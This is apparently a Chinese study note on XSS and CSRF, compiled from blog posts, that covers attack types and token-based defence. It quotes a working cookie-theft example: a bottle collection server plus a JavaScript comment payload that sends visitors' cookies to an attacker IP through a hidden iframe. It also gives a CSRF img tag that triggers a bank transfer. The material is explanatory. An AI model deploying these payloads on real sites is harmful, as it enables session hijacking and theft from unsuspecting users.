XSS：脚本中的不速之客
XSS：跨站脚本（Cross-site scripting）CSRF：冒充用户之手CSRF：跨站请求伪造（Cross-site request forgery） 谷歌搜索到几篇好文章。http://www.cnblogs.com/siqi/archive/2012/11/19/2777224.htmlXSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。请求令牌（一种简单有效的防御方法）。（本人）：django默认使用这种方法，之前图方便关闭了该middle，花一几个小时将它开启，本身也是学习CSRF的方式。http://www.diggerplus.org/archives/2099XSS攻击:非持久型 = 反射型XSS漏洞，比较被动，用户点击特定构造url后生效。持久性 = 保存型XSS漏洞，储存与数据库。基于DOM的XSS漏洞原理：主要是转送和劫持会话sessionhttps://blog.tonyseek.com/post/introduce-to-xss-and-csrf/例子，攻击方的接受器，XSS注入内容：#!/usr/bin/env python#-*- coding:utf-8 -*-"""跨站脚本注入的信息收集服务器"""import bottleapp = bottle.Bottle()plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')app.install(plugin)@app.route('/myxss/')def show(cookies, db): SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)' try: db.execute(SQL, cookies) except: pass return ""if __name__ == "__main__": app.run() // 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://192.168.123.123/myxss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame);})(window, document); 每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。http://sbqing.com/archives/1487.htmlhttp://www.bugsec.org/986.html示例1：银行网站A，它以GET请求来完成银行转账的操作，如：http://www.mybank.com/Transfer.php?toBankId=11&money=10001 http://www.mybank.com/Transfer.php?toBankId=11&money=1000危险网站B，它里面有一段HTML的代码如下：<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>1 <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> 首先，你登录了银行网站A，然后访问危险网站B，噢，这时你会发现你的银行账户少了1000块……为什么会这样呢？原因是银行网站A违反了HTTP规范，使用GET请求更新资源。在访问危险网站B的之前，你已经登录了银行网站A，而B中的<img>以GET的方式请求第三方资源（这里的第三方就是指银行网站了，原本这是一个合法的请求，但这里被不法分子利用了），所以你的浏览器会带上你的银行网站A的Cookie发出Get请求，去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”，结果银行网站服务器收到请求后，认为这是一个更新资源操作（转账操作），所以就立刻进行转账操作……http://cnodejs.org/topic/50463565329c5139760c34a1图片注入，有些sns社区可以让用户自己上传图片，然后填写ref属性或者title属性，这些属性往往会成为注入点，如果应用程序文件名没有修改的话也可能被注入。更有胜者，在新版本的discuz中，用户可以分享照片还可以查看照片的exif信息，比如光圈相机型号等等，有达人用软件修改了exif信息，在里面嵌入恶意js代码，然后吸引用户查看exif信息。